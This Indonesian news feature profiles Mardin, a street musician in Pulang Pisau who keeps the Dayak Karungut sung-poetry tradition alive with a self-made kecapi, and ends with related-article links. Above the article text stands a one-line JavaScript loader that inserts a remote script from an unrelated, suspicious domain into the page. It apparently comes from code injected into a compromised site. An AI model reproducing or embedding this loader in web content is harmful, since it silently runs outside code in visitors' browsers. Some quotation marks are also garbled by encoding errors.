(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PULANG PISAU, Di tengah era modern saat ini, banyak pilihan berbagai warna musik hiburan. Sehingga rasanya cukup sulit untuk menemukan orang yang mencintai kesenian lokal seperti permainan kecapi dan seni Karungut, terlebih bisa mendapati pelaku yang piawai memainkannya.
Namun di kota Pulang Pisau, ada sosok Mardin -oleh banyak orang akrab disapa Mardin Guterez-. Laki-laki 59 tahun ini sangat dikenal sebagai pelestari seni Karungut yang piawai memetik dawai kecapi, alat musik khas suku dayak. Pria yang tidak tamat SD ini bahkan keseharian hidupnya hanya bergantung menjadi pengamen melalui seni karungut.
Karungut adalah sebuah kesenian tradisional dari Kalimantan Tengah. Seni ini berupa sastra lisan atau juga bisa disebut pantun yang dilagukan. Karungut merupakan karya yang dijunjung masyarakat dayak sebagai sastra besar klasik dan merupakan semacam pantun atau gurindam.
Karungut adalah salah satu kesenian tradisional yang sangat komunikatif, karena pesan-pesan yang disampaikan berbentuk pantun dalam bahasa daerah.
Setiap pagi, berbarengan dengan aktvitas Mardin memainkan alat kecapi sambil sesekali menyanyikan karungut ciptaannya sendiri. Beberapa tempat rumah makan di Pulpis, seperti Candi Laras dan rumah makan Ani menjadi tempat mangkalnya.
“Biasanya saya menyanyikan lagu Karuhei Tatau yang artinya pemikat rezeki. Lagu itu saya ciptakan dengan tujuan agar semua yang mendengar bisa terhibur kemudian bekerja dengan semangat hingga membuat rezeki lancar.  Dari setiap lagu yang dinyanyikan jika pendengar senang mereka boleh menyumbang sekedarnya, membagi rezeki di bakul rotan yang saya bawa. Kadang sehari bisa dapat 50 sampai 80 ribu,†tutur Mardin saat ditemui di halaman parkir rumah makan Ani.
Memilih tampil dari beberapa rumah makan, menurutnya karena cukup ramai dan menjadi pemberhentian bis dan mobil travel. Setiap penumpang yang turun Mardin sengaja menyambut dengan lagu Karuhei Tatau andalannya. Tidak jarang penumpang yang senang malah mengajaknya berswafoto.
“Mereka biasanya justru lebih suka meminta berfoto ketimbang mendengar lagu-lagu Karungut yang saya nyanyikan, mungkin karena bahasa dayak jadinya tidak mengerti. Kalau senang biasanya dikasih uang, kadang juga diajak makan sama mereka,†cerita Mardin, pria yang mengaku mengidap penyakit hernia ini.
Pelantun karungut mengisahkan syair-syair kebajikan dengan meramu bermacam legenda, nasihat, teguran, dan peringatan mengenai kehidupan sehari-hari. Karungut sering dilantunkan pada acara penyambutan tamu yang dihormati. Salah satu ekspresi kegembiraan dan kebahagiaan diungkapkan dalam bentuk Karungut.
Kepada Kanalkalimantan.com, Mardin mengaku memilih mencari rezeki di jalanan dengan menyanyikan lagu-lagu karungut karena memang sudah mencintai kesenian karungut. Pernah dulu ia mencoba untuk berhenti dan bekerja ikut orang di perkebunan. Namun tak bertahan lama, jiwa seninya terpanggil kembali untuk turun ke jalan dan memetik tali-tali kecapi miliknya. Dirinya mengaku lebih 20 tahun sudah menyambung hidup dengan kecapi dan Karungut.
“Dulu saya bisa memainkan kecapi ini hanya belajar sendiri dengan orang-orang tua di kampung. Suka sekali dengar syairnya, lalu pelan-pelan belajar hingga sampai sekarang jadi bisa. Bahkan tidak hanya bisa memainkan kecapi saja namun juga mampu membuatnya sendiri dari kayu-kayu yang tidak terpakai, meski bentuknya kasar,†tutur Mardin.
Kini diusia yang tidak lagi muda, ia berharap suatu saat ada perhatian dari pemerintah untuk menampung orang-orang sepertinya melalui jalur kesenian. Misalkan saja, kata Mardin, adanya bangunan taman budaya, dengan begitu dirinya pun tidak akan lagi khawatir mencari tempat untuk bermain kecapi karena orang-orang akan sendirinya datang melihat permainannya.
“Selain itu anak-anak muda di Pulang Pisau ini juga semoga semakin mencintai kesenian daerah. Memainkan kecapi, menyanyikan Karungut itu sebenarnya mudah sekali asalkan kita mau belajar. Memang cara terbaik untuk mempertankan kesenian saat ini adalah dengan menjadi pelaku seni itu sendiri,†tutur Mardin.
Karungut diiringi alat musik kecapi, bisa juga pakai band atau organ. Karungut semacam sastra lisan nusantara untuk Kalimantan Tengah sama dengan Madihin jika di Kalimantan Selatan. Sedangkan di Jawa Tengah disebut Macapat. Dengan kata lain karungut dapat dikatakan suatu irama lagu daerah Kalimantan Tengah untuk melagukan syair-syair atau naskah yang bukan berbentuk syair. Karungut dikenal di sepanjang jalur sungai Kahayan, Kapuas, Katingan, Rungan Manuhing dan sebagian jalur sungai Barito.
Karungut merupakan seni khas Kalimantan Tengah yang mempunyai arti dan makna yang sangat dalam untuk ritual dan untuk menyampaikan segala sesuatu sesuai dengan keperluannya. Dahulu karangut dinyanyikan para ibu untuk menidurkan putra-putrinya. (sjy)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.